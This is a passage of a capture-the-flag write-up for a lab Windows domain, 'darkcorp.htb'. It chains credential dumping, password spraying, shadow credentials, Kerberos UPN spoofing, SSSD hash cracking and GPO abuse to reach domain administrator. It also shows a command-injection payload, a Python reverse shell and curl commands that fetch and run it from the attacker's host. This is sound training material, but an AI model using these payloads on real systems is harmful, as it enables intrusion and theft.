Just like that we have User!

Root

John

Before, we’ve dumped local account hashes stored on the SAM credential database, now let’s dump DPAPI which can contain both local and domain credentials of our users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
dpp collect -t 172.16.20.2 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:[REDACTED]
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/kali/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/kali/.donpapi/recover/recover_1739751883
[172.16.20.2] [+] Starting gathering credz
[172.16.20.2] [+] Dumping SAM
[172.16.20.2] [$] [SAM] Got 4 accounts
[172.16.20.2] [+] Dumping LSA
[172.16.20.2] [+] Dumping User and Machine masterkeys
[172.16.20.2] [$] [DPAPI] Got 4 masterkeys
[172.16.20.2] [+] Dumping User Chromium Browsers
[172.16.20.2] [+] Dumping User and Machine Certificates
[172.16.20.2] [+] Dumping User and Machine Credential Manager
[172.16.20.2] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:[REDACTED]
[172.16.20.2] [+] Gathering recent files and desktop files
[172.16.20.2] [+] Dumping User Firefox Browser
[172.16.20.2] [+] Dumping MobaXterm credentials
[172.16.20.2] [+] Dumping MRemoteNg Passwords
[172.16.20.2] [+] Dumping Users RDCManager
[172.16.20.2] [+] Dumping SCCM Credentials
[172.16.20.2] [+] Dumping User and Machine Vaults
[172.16.20.2] [+] Dumping VNC Credentials
[172.16.20.2] [+] Dumping Wifi profiles

We found the SYSTEM’s cleartext password: [REDACTED]

Since we got this we can use the SYSTEM password to get additional credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
dpp collect -t 172.16.20.2 -u Administrator -p [REDACTED]
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/kali/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/kali/.donpapi/recover/recover_1739771513
[172.16.20.2] [+] Starting gathering credz
[172.16.20.2] [+] Dumping SAM
[172.16.20.2] [$] [SAM] Got 4 accounts
[172.16.20.2] [+] Dumping LSA
[172.16.20.2] [+] Dumping User and Machine masterkeys
[172.16.20.2] [$] [DPAPI] Got 5 masterkeys
[172.16.20.2] [+] Dumping User Chromium Browsers
[172.16.20.2] [+] Dumping User and Machine Certificates
[172.16.20.2] [+] Dumping User and Machine Credential Manager
[172.16.20.2] [$] [CredMan] [Administrator] LegacyGeneric:target=WEB-01 - Administrator:[REDACTED]
[172.16.20.2] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:[REDACTED]
[172.16.20.2] [+] Gathering recent files and desktop files
[172.16.20.2] [+] Dumping User Firefox Browser
[172.16.20.2] [+] Dumping MobaXterm credentials
[172.16.20.2] [+] Dumping MRemoteNg Passwords
[172.16.20.2] [+] Dumping Users RDCManager
[172.16.20.2] [+] Dumping SCCM Credentials
[172.16.20.2] [+] Dumping User and Machine Vaults
[172.16.20.2] [+] Dumping VNC Credentials
[172.16.20.2] [+] Dumping Wifi profiles

Password spray using the recovered Administrator credentials from credman reveals this is John’s reused password:

1
2
3
4
5
6
nxc ldap 172.16.20.1 -u users.txt -p '[REDACTED]'               
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\Administrator:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\victor.r:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\svc_acc:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [+] darkcorp.htb\john.w:[REDACTED]

Angela

On bloodhound we can find that john has a generic write over Angela

Pasted image 20250217170303.png

Let’s do a shadow credential attack which abuses the write access to the msDs-KeyCredentialLink to provide a private key to grab a TGT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
certipy-ad shadow -account 'angela.w' -dc-ip 172.16.20.1 -u 'john.w@darkcorp.htb' -p '[REDACTED]' auto
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '83aefb60-b9c2-03ad-22b5-10ed32636ca5'
[*] Adding Key Credential with device ID '83aefb60-b9c2-03ad-22b5-10ed32636ca5' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '83aefb60-b9c2-03ad-22b5-10ed32636ca5' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Using principal: angela.w@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': [REDACTED]

Let’s check our authentication as angela against the Domain Controller.

1
2
3
nxc ldap 172.16.20.1 -u angela.w -H [REDACTED]           
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
LDAP        172.16.20.1     389    DC-01            [+] darkcorp.htb\angela.w:[REDACTED]

Taylor

Let’s go back and take a look at drip.darkcorp.htb, the linux machine, and check for cached domain credentials.

A broken marriage. Abusing mixed vendor Kerberos Attacks

First we can confirm the existence of krb5 on drip.darkcorp.htb by checking if it has ksu:

1
2
ebelford@drip:~$ which ksu
/usr/bin/ks

Looking at the users we can notice that angela.w has an admin account:

1
2
3
4
nxc ldap 172.16.20.1 -u angela.w -H [REDACTED] --users 
<SNIP>
LDAP        172.16.20.1     389    DC-01            angela.w.adm
</SNIP>

Let’s change her upn using john since he has genericWrite

1
2
bloodyAD --host 172.16.20.1 -d darkcorp.htb -u john.w -p '[REDACTED]' set object 'CN=Angela Williams,CN=Users,DC=darkcorp,DC=htb' userPrincipalName -v angela.w.adm
[+] CN=Angela Williams,CN=Users,DC=darkcorp,DC=htb's userPrincipalName has been updated

Let’s now request an NT_ENTERPRISE TGT for Angela using the angela.w.adm’s upn

1
2
3
4
impacket-getTGT -hashes :[REDACTED] -principalType NT_ENTERPRISE darkcorp.htb/angela.w.adm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in angela.w.adm.ccache

We now need this TGT on drip.darkcorp.htb so let’s transfer it over and check for authentication.

1
2
3
4
5
6
7
klist angela.w.adm.ccache 
Ticket cache: FILE:angela.w.adm.ccache
Default principal: angela.w.adm@DARKCORP.HTB

Valid starting       Expires              Service principal
02/17/2025 14:32:14  02/18/2025 00:32:14  krbtgt/DARKCORP.HTB@DARKCORP.HTB
        renew until 02/18/2025 14:32:15

Success! we have a valid TGT that spoof’s angela's admin accounts let’s see if we can swap to angela using ksu:

1
2
3
4
5
KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
Changing uid to angela.w.adm (1730401107)
angela.w.adm@drip:/home/ebelford$

This method only works when done in quick succession, e.g. set upn, grab tgt, transfer tgt, authenticate, I’m not sure why this is as this is way too quick to be caused by the cleanup scripts.

Angela’s admin account has complete sudo privileges over the drip.darkcorp.htb machine.

1
    (ALL : ALL) NOPASSWD: ALL

Swap over to root and let’s check for the cached credentials as per this article: Managing the SSSD Cache

1
sudo su

In the /var/lib/sss directory, as mentioned in the article, we can find several interesting directories.

1
2
3
4
5
6
7
8
9
10
11
total 40
drwxr-xr-x 10 root root 4096 Jan 10 11:51 .
drwxr-xr-x 42 root root 4096 Feb  3 14:27 ..
drwx------  2 root root 4096 Feb 17 14:47 db
drwxr-x--x  2 root root 4096 Jan 10 11:51 deskprofile
drwxr-xr-x  3 root root 4096 Jan 10 11:51 gpo_cache
drwx------  2 root root 4096 Jan 10 11:51 keytabs
drwxrwxr-x  2 root root 4096 Feb 17 14:45 mc
drwxr-xr-x  3 root root 4096 Feb 17 11:02 pipes
drwxr-xr-x  3 root root 4096 Feb 17 14:47 pubconf
drwx------  2 root root 4096 Jan 10 11:51 secrets

In the db directory we can find the following file: cache_darkcorp.htb.ldb which contains a cached password.

1
2
cachedPassword
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/[REDACTED]

Cracking this hash we get a successful crack!

1
2
3
4
5
6
7
8
9
10
john cache.txt --wordlist=/usr/share/wordlists/rockyou.txt               
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]         (?)     
1g 0:00:00:48 DONE (2025-02-17 17:02) 0.02080g/s 2072p/s 2072c/s 2072C/s 020180..thunder22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

As usual, password spraying the recovered credentials. This reveals that this is taylor.b.adm’s credentials.

1
2
3
4
5
6
7
8
9
10
nxc ldap 172.16.20.1 -u users.txt -p '[REDACTED]'                             
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\Administrator:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\victor.r:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\svc_acc:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\john.w:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\angela.w:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\angela.w.adm:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\taylor.b:[REDACTED] 
LDAP        172.16.20.1     389    DC-01            [+] darkcorp.htb\taylor.b.adm:[REDACTED]

DC-01 Administrator

looking at bloodhound we find a path to own DC-01:

![Pasted image 20250218091623.png 473x385](/assets/img/img_DarkCorp/Pasted%20image%2020250218091623.png)

Pasted image 20250218091538.png

So let’s run pygpoabuse to create a new user and put them in the administrators group:

1
2
3
4
5
6
python3 pygpoabuse.py 'darkcorp.htb/TAYLOR.B.ADM:[REDACTED]' -gpo-id '652cae9a-4bb7-49f2-9e52-3361f33ce786' -command 'net user master Password123! /add && net localgroup administrators master /add' -dc-ip 172.16.20.1 -v  -f

INFO:root:Version updated
[*] Version updated
SUCCESS:root:ScheduledTask TASK_35a4d07c created!
[+] ScheduledTask TASK_35a4d07c created!

Force a group policy update to add the gpo and execute the command

1
gpupdate.exe

We can now dump everything using our administrator account!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
dpp collect -t 172.16.20.1 -u master -p 'Password123!'        
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/kali/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/kali/.donpapi/recover/recover_1739830894
[172.16.20.1] [+] Starting gathering credz
[172.16.20.1] [+] Dumping SAM
[17:21:43] ERROR    SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.                                                                                                secretsdump.py:1340
[172.16.20.1] [$] [SAM] Got 3 accounts
[172.16.20.1] [+] Dumping LSA
[172.16.20.1] [+] Dumping User and Machine masterkeys
[172.16.20.1] [$] [DPAPI] Got 4 masterkeys
[172.16.20.1] [+] Dumping User Chromium Browsers
[172.16.20.1] [+] Dumping User and Machine Certificates
[172.16.20.1] [$] [Certificates] [SYSTEM] - DC-01.darkcorp.htb - DC-01.darkcorp.htb_3F5D460D5A3A8C32.pfx - Client auth possible
[172.16.20.1] [$] [Certificates] [SYSTEM] - DC-01.darkcorp.htb - DC-01.darkcorp.htb_FEDE6913B7302F06.pfx - Client auth possible
[172.16.20.1] [+] Dumping User and Machine Credential Manager
[172.16.20.1] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7C17A109-A31B-4570-BFBC-08B109075817} - darkcorp\Administrator:[REDACTED]
[172.16.20.1] [+] Gathering recent files and desktop files
[172.16.20.1] [+] Dumping User Firefox Browser
[172.16.20.1] [+] Dumping MobaXterm credentials
[172.16.20.1] [+] Dumping MRemoteNg Passwords
[172.16.20.1] [+] Dumping Users RDCManager
[172.16.20.1] [+] Dumping SCCM Credentials
[172.16.20.1] [+] Dumping User and Machine Vaults
[172.16.20.1] [+] Dumping VNC Credentials
[172.16.20.1] [+] Dumping Wifi profiles

Just like that we have Root!

Beyond Root

Unintended RCE:

RCE as SVC_ACC

On Web-01 since the website status is being checked using powershell if python doesn’t work:

1
2
3
4
5
6
7
elif response.status_code == 401:
            command = ["powershell", "iwr", "-uri", url, '-UseDefaultCredentials']
            result = subprocess.run(command, capture_output=True, text=True)
            if result.returncode == 0:
                status_check_data['status'] = 'UP'
                append_to_csv(status_check_data)
                return jsonify({"status": "Success!", "message": f"{url} is up!"})

we can construct the following data payload:

1
{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/; iwr -uri http://10.10.14.48:8001 -Method POST -body (whoami)"}

So we start our ntlmrelayx listener:

1
ntlmrelayx.py -t ldap://172.16.20.1 -smb2support --interactive

Start up another listener:

1
nc -lvnkp 8001

Send the data through our curl requests:

1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/; iwr -uri http://10.10.14.48:8001 -Method POST -body (whoami)"}' --ntlm -u 'victor.r:[REDACTED]'

And we get a callback with the response!:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> 2025/02/11 21:13:38.000698605  length=231 from=0 to=230
POST / HTTP/1.1\r
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.2110\r
Content-Type: application/x-www-form-urlencoded\r
Host: 10.10.14.48:9001\r
Content-Length: 16\r
Connection: Keep-Alive\r
\r
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.2110
Content-Type: application/x-www-form-urlencoded
Host: 10.10.14.48:9001
Content-Length: 16
Connection: Keep-Alive

> 2025/02/11 21:13:38.000723385  length=16 from=231 to=246
darkcorp\\svc_accdarkcorp\svc_acc

Shell as SVC_ACC

Knowing that python has to be running on the machine for the webapp to work we can upload the following revshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os,socket,subprocess,threading;

def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.48",9001))

p=subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

By hosting it on our machine:

1
python3 -m http.server 42069

Getting the server to download it:

1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/;iwr http://10.10.14.48:8001 -Method POST -body (iwr http://10.10.14.48:42069/shell.py -O shell.py)"}' --ntlm -u 'victor.r:[REDACTED]'

Starting up a listener:

1
nc -lvnp 9001

And executing the python shell:

1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001/;iwr http://10.10.14.48:8001 -Method POST -body (python shell.py)"}' --ntlm -u 'victor.r:[REDACTED]'

Just like that we have a revshell!:

1
2
3
4
5
6
7
8
9
10
11
12
nc -lvnkp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.54.
Ncat: Connection from 10.10.11.54:49278.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\inetpub\Flask>

Theoretically, instead of using NTLMrelay to inject the malicious dns record we could use the Add-DNSServerResourceRecord using our powershell access to add the poisoned record. I wasn’t able to attempt this as this unintended was patched when I had thought about using this method.

tags: os/windows - diff/insane